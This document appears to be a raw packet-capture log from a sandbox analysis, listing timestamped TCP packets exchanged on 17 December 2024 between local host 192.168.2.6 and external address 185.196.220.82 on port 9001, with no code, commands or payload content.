Dec 17, 2024 11:49:52.625797033 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.625916004 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.625977993 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.626595020 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.626678944 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.626678944 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.626890898 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.627370119 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.627487898 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.627518892 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.627599001 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.628196001 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.628266096 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.628283978 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.628501892 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.628937006 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.628992081 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.629054070 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.629112005 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.629725933 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.629764080 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.629800081 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.629800081 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.630515099 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.630614996 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.630647898 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.631156921 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.631294012 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.631354094 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.631382942 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.631473064 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.632169008 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.632224083 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.632605076 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.632899046 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.632913113 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.633131981 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.633663893 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.633759022 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.633797884 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.633797884 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.634468079 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.634670973 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.634710073 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.634710073 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.635286093 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.635337114 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.635360003 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.635643959 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.636018038 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.636076927 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.636137009 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.636281967 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.637290955 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.637342930 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.637439013 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.637752056 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.638151884 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.638226032 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.638259888 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.638259888 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.638788939 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.638807058 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.638849974 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.639379978 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.639411926 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.639504910 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.639504910 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.640378952 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.640394926 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.640713930 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.640947104 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.640960932 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.641051054 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.641546011 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.641560078 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.641639948 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.642373085 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.642419100 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.642704964 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.643071890 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.643146038 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.643285036 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.643903971 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.643915892 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.644649982 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.644711018 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.644711018 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.644745111 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.645170927 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.645432949 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.645558119 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.645678997 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.645787954 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.678646088 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.708265066 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.708378077 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.708432913 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.708551884 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.708619118 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.708693027 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.709180117 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.709275961 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.709327936 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.709964991 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.710067034 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.710133076 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.710737944 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.710835934 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.711339951 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.711515903 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.711599112 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.711642981 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.712323904 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.712418079 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.712480068 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.713112116 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.713170052 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.713217020 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.713892937 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.714003086 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.714109898 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.714689016 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.714864016 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.715085983 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.716226101 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.716481924 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.717111111 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.717129946 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.717154980 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.717183113 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.717588902 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.717678070 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.717730045 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.718095064 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.718184948 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.718236923 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.718803883 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.718899012 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.718944073 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.719408989 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.719492912 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.719620943 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.720195055 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.720314026 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.720396042 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.720982075 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.721087933 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.721144915 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.721821070 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.721879959 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.721945047 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.722543001 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.722676039 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.722731113 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.723337889 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.723361015 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.723579884 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.724117041 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.724234104 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.724323988 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.724886894 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.725028992 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.725250006 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.725713015 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.725785971 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.725898981 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.726480007 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.726574898 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.726660013 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.727282047 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.727360964 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.727418900 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.728048086 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.728122950 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.728182077 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.819528103 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.819636106 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.819911003 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.819925070 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.819947004 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.820015907 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.820699930 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.820816040 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.820875883 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.821496010 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.821604013 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.822285891 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.822339058 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.822405100 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.823156118 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.823178053 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.823220968 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.823220968 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.823820114 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.823916912 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.824606895 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.824703932 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.824743032 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.825417995 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.825498104 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.825571060 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.825571060 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.826186895 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.826323986 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.826395035 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.826977015 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.827090025 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.827354908 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.827796936 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.827856064 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.828104019 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.828537941 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.852149963 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.853408098 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.853435993 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.853566885 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.853566885 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.973130941 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.973361969 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.973372936 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.973419905 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.973496914 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:52.973608017 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.973675013 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.973800898 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.973854065 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.973929882 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:52.974090099 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.014687061 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.094651937 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.242121935 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.244606018 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.244710922 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.244729996 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.244755983 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.247462034 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.283976078 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.284051895 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.284074068 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.284125090 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.284523010 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.284593105 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.284632921 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.284692049 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.285969019 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.286055088 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.286058903 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.286674976 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.286753893 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.286786079 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.286871910 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.287353992 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.287414074 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.287450075 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.287450075 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.287981987 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.288242102 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.288324118 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.288847923 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.288904905 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.288974047 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.289459944 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.289515018 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.289536953 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.289628029 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.290080070 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.290131092 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.290174961 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.290174961 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.290586948 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.290657997 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.290673018 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.290745974 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.291397095 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.291471004 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.291485071 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.291534901 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.292311907 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.292382002 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.292524099 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.292602062 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.293004990 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.293173075 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.362066984 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.362083912 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.362095118 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.364015102 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.364028931 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.364072084 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.364150047 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.364234924 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.364252090 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.364296913 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.365001917 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.365042925 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.365073919 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.365114927 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.365691900 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.365741014 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.365758896 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.365920067 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.366236925 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.366249084 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.366261959 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.366337061 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.366385937 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.366430998 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.367079973 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.367093086 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.367114067 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.367126942 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.367227077 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.367273092 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.367285967 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.367296934 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.367306948 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.367326021 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.367337942 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.367348909 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.367360115 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.367371082 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.367382050 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.367393017 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.367403984 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.367427111 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.367465019 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.367502928 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.367830992 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.367948055 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.367981911 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.368663073 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.368761063 CET	9001	49784	185.196.220.82	192.168.2.6
